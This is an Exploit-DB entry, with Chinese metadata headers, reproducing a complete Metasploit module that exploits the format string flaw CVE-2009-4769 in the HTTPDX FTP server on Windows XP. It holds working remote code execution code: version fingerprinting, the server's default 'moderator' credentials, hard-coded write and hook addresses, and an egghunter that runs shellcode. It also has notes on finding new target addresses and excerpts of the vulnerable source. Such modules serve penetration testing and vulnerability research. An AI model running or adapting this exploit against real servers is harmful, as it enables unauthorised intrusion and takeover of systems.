标题: httpdx - 'tolog()' Format String (Metasploit) (1) EDB-ID: 16732 CVE: 2009-4769 类型: REMOTE 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: ##
# $Id: httpdx_tolog_format.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Ftp
 include Msf::Exploit::Egghunter
 include Msf::Exploit::FormatString

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HTTPDX tolog() Function Format String Vulnerability',
   'Description'    => %q{
     This module exploits a format string vulnerability in HTTPDX FTP server.
    By sending an specially crafted FTP command containing format specifiers, an
    attacker can corrupt memory and execute arbitrary code.

    By default logging is off for HTTP, but enabled for the 'moderator' user
    via FTP.
   },
   'Author'         =>
    [
     'jduck'   # original discovery and metasploit module
    ],
   'Version'     => '$Revision: 10150 $',
   'References'     =>
    [
     [ 'CVE', '2009-4769' ],
     [ 'OSVDB', '60181' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     # format string max length
     'Space'    => 1024,
     'BadChars' => "\x00\x0a\x0d\x25",
     'DisableNops' =>  'True',
     'StackAdjustment'  => -1500
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     #
     # Automatic targeting via fingerprinting
     #
     [ 'Automatic Targeting', { 'auto' => true }  ],

     #
     # specific targets
     #
     [ 'httpdx 1.4 - Windows XP SP3 English',
      {
       'NumPops'  => 37,
       'Writable'  => 0x64f87810,  # empty space in core.dll imports
       'FlowHook' => 0x64f870e8  # core.dll import for strlen
      }
     ],
     [ 'httpdx 1.4.5 - Windows XP SP3 English',
      {
       'NumPops'  => 37,
       'Writable'  => 0x64f87810,  # empty space in core.dll imports
       'FlowHook' => 0x64f870e8  # core.dll import for strlen
      }
     ],
     [ 'httpdx 1.4.6 - Windows XP SP3 English',
      {
       'NumPops'  => 37,
       'Writable'  => 0x64f87810,  # empty space in core.dll imports
       'FlowHook' => 0x64f870e8  # core.dll import for strlen
      }
     ],
     [ 'httpdx 1.4.6b - Windows XP SP3 English',
      {
       'NumPops'  => 37,
       'Writable'  => 0x64f87810,  # empty space in core.dll imports
       'FlowHook' => 0x64f870e8  # core.dll import for strlen
      }
     ],
     [ 'httpdx 1.5 - Windows XP SP3 English',
      {
       'NumPops'  => 29,
       'Writable'  => 0x64f87810,  # empty space in core.dll imports
       'FlowHook' => 0x64f870e8  # core.dll import for strlen
      }
     ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 17 2009'))
=begin

NOTE: Even though all targets have the same addresses now, future targets may not.

To find a target:

1. open "core.dll" in IDA Pro
2. navigate to the "c_wildcmp" function
3. follow the xref to the first strlen
4. follow the xref to the imports area
5. copy/paste the address
6. the 'Writable' value should be anything after the last address IDA shows..
 (preferably something above 0x0d, to avoid bad chars)

If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.

=end
  register_options(
   [
    Opt::RPORT(21),
    # note the default user/pass
    OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']),
    OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123'])
   ], self.class )
 end


 def check
  connect
  disconnect
  print_status("FTP Banner: #{banner}".strip)
  if banner =~ /httpdx.*\(Win32\)/
   return Exploit::CheckCode::Appears
  end
  return Exploit::CheckCode::Safe
 end


 def exploit

  # Use a copy of the target
  mytarget = target

  if (target['auto'])
   mytarget = nil

   print_status("Automatically detecting the target...")
   connect
   disconnect

   if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then
    print_status("FTP Banner: #{banner.strip}")
    version = m[1]
   else
    print_status("No matching target")
    return
   end

   self.targets.each do |t|
    if (t.name =~ /#{version} - /) then
     mytarget = t
     break
    end
   end

   if (not mytarget)
    print_status("No matching target")
    return
   end

   print_status("Selected Target: #{mytarget.name}")
  else
   print_status("Trying target #{mytarget.name}...")
  end

  # proceed with chosen target...
  connect_login

  # '<ip>\n PWD '
  ip_length = Rex::Socket.source_address(datastore['RHOST']).length
  num_start = ip_length + 1 + 3 + 1


  # use the egghunter!
  eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

  # write shellcode to 'writable' (all at once)
  fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
  print_status(" payload format string buffer is #{fmtbuf.length} bytes")
  if (res = send_cmd(['PWD', fmtbuf ], true))
   print_status(res.strip)
  end


  # write 'writable' addr to flowhook (execute shellcode)
  # NOTE: the resulting two writes must be done at the same time
  fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)

  # add payload to the end
  fmtbuf << eh_egg
  print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
  if (res = send_cmd(['PWD', fmtbuf ], true))
   print_status(res.strip)
  end


  disconnect
  handler

  # connect again to trigger shellcode
  print_status(" triggering shellcode now")
  print_status("Please be patient, the egg hunter may take a while...")
  connect
 end

end


=begin

also present in 1.5 (presumably all versions in between)

1.4/httpdx_src/ftp.cpp:

   544      //printf(out);
   545      char af[MAX] = {0};
   546      if(isset(out) && client->serve.log || client->serve.debug)
   547          snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
   548      if(isset(out) && client->serve.log)
   549          tolog(client->serve.accessl,af);
   550      if(isset(out) && client->serve.debug)
   551          printf(af);

1.4/httpdx_src/http.cpp:

   172      char af[MAX] = {0};
   173      if(client.serve.log || client.serve.debug)
   174          snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
   175      if(client.serve.log)
   176          tolog(client.serve.accessl,af);
   177      if(client.serve.debug)
   178          printf(af);

=end URL: https://www.exploit-db.com/exploits/16732